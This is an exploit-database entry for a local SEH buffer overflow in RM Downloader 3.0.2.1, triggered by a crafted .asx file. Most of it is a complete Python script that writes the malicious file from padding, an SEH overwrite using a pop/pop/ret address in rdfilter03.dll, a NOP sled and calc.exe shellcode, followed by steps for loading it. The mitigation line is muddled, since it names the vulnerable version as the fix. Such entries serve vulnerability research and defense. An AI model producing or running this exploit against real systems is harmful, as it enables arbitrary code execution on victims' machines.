RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)

vendor:

RM Downloader

by:

b0telh0

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: RM Downloader

Affected Version From: 3.0.2.1

Affected Version To: 3.0.2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:mini-stream:rm_downloader

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)

A buffer overflow vulnerability exists in RM Downloader 3.0.2.1 when a specially crafted .asx file is loaded. This could allow an attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to insufficient bounds checking of user-supplied data when parsing the .asx file. An attacker can exploit this vulnerability by enticing a user to open a malicious .asx file.

Mitigation:

Upgrade to the latest version of RM Downloader 3.0.2.1 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Title: RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)
# Date: 03-29-2010
# Author: b0telh0
# Link: http://www.mini-stream.net/downloads/RMDownloader.exe
# Tested on: Windows XP SP3


#
# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
#

shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
        "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
        "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
        "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
        "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
        "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
        "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
        "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
        "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
        "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
        "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
        "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
        "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
        "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
        "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
        "\x5d\xd9");

junk = "\x41" * 35072
nseh = "\xeb\x1e\x90\x90"
seh  = "\x1F\xEA\x02\x10"             # p/p/r at 0x1002EA1F [rdfilter03.dll]
nops = "\x90" * 24
junk2 = "\x41" * 4669

try:
     file = open('b0t.asx','w');
     file.write(junk+nseh+seh+nops+shellcode+junk2);
     file.close();
     print "\n[+] b0t.asx created."
     print "[+] Open RmDownloader.exe..."
     print "[+] and load b0t.asx.\n"
except:
     print "\n[-] Error.. Can't write file to system.\n"